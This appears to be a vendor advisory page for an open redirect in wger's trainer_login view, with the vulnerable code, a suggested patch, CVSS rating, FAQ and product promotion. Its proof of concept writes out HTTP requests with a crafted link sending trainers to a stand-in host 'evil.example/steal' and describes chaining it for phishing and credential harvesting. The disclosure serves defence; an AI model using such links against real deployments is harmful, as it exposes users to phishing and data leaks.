GHSA-VQV8-J3MJ-WJXJ

GHSA-VQV8-J3MJ-WJXJ is a medium-severity open redirect vulnerability in wger (pip), affecting versions <= 2.5. It is fixed in 2.6.

Summary

The trainer_login view in wger redirects to request.GET['next'] directly via HttpResponseRedirect() without calling url_has_allowed_host_and_scheme(). After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the ?next= parameter, enabling Referer exfiltration and phishing.

Details

File: wger/core/views/user.py, approximately line 203

# VULNERABLE - wger/core/views/user.py
if not own:
    request.session['trainer.identity'] = orig_user_pk
    if request.GET.get('next'):
        return HttpResponseRedirect(request.GET['next'])   # no host/scheme validation

After the impersonation logic succeeds, the view performs no validation of the next parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. /en/user/2/trainer-login?next=https://evil.example/steal) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The Location header contains the raw attacker-controlled URL.

Affected endpoint:

  • GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login (the ?next= redirect branch)

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.utils.http import url_has_allowed_host_and_scheme
+
 if not own:
     request.session['trainer.identity'] = orig_user_pk
-    if request.GET.get('next'):
-        return HttpResponseRedirect(request.GET['next'])
+    next_url = request.GET.get('next')
+    if next_url and url_has_allowed_host_and_scheme(
+        next_url, allowed_hosts={request.get_host()}, require_https=request.is_secure()
+    ):
+        return HttpResponseRedirect(next_url)
     return HttpResponseRedirect(reverse('core:index'))

Adding @require_POST to trainer_login (see also VULN-030) moves the next parameter to the POST body where CSRF protection applies and eliminates the combined CSRF + open-redirect attack surface entirely.

PoC

Tested on wger/server:latest Docker image. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Authenticate as trainer:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trainer clicks (or is delivered) the crafted link:

GET /en/user/2/trainer-login?next=https://evil.example/steal HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 302 Found
   Location: https://evil.example/steal

Step 3 - Attacker server logs Referer:

Referer: http://target/en/user/2/trainer-login?next=https://evil.example/steal
(victim user_pk and next URL exposed)

Reproducibility: 2/2 runs.

Impact

An attacker who can deliver a crafted URL to a trainer (phishing email, malicious gym management system integration, social engineering) can redirect the trainer's browser to an attacker-controlled domain after the trainer enters impersonation mode. The redirect leaks:

  • The wger URL structure (including the impersonated user's user_pk) via the browser Referer header.
  • The session-rebound cookie (if the attacker page subsequently triggers an authenticated request with credentials: 'include' targeting wger, any same-site cookie without SameSite=Strict is attached).

Combined with the trainer-login scope bypass (submitted separately), this primitive allows an attacker to silently impersonate arbitrary gym=None users and then land the trainer on an attacker page for credential harvesting.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role), requires victim interaction (click), scope change (attacker's origin).

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

GHSA-VQV8-J3MJ-WJXJ has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.6); upgrading removes the vulnerable code path.

Affected versions

wger (<= 2.5)

Security releases

wger → 2.6 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade wger to 2.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-VQV8-J3MJ-WJXJ? GHSA-VQV8-J3MJ-WJXJ is a medium-severity open redirect vulnerability in wger (pip), affecting versions <= 2.5. It is fixed in 2.6. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
  2. How severe is GHSA-VQV8-J3MJ-WJXJ? GHSA-VQV8-J3MJ-WJXJ has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wger are affected by GHSA-VQV8-J3MJ-WJXJ? wger (pip) versions <= 2.5 is affected.
  4. Is there a fix for GHSA-VQV8-J3MJ-WJXJ? Yes. GHSA-VQV8-J3MJ-WJXJ is fixed in 2.6. Upgrade to this version or later.
  5. Is GHSA-VQV8-J3MJ-WJXJ exploitable, and should I be worried? Whether GHSA-VQV8-J3MJ-WJXJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-VQV8-J3MJ-WJXJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-VQV8-J3MJ-WJXJ? Upgrade wger to 2.6 or later.

Other vulnerabilities in wger

CVE-2026-43978CVE-2026-43948CVE-2026-40353CVE-2026-40474CVE-2026-27839

Stop the waste.
Protect your environment with Kodem.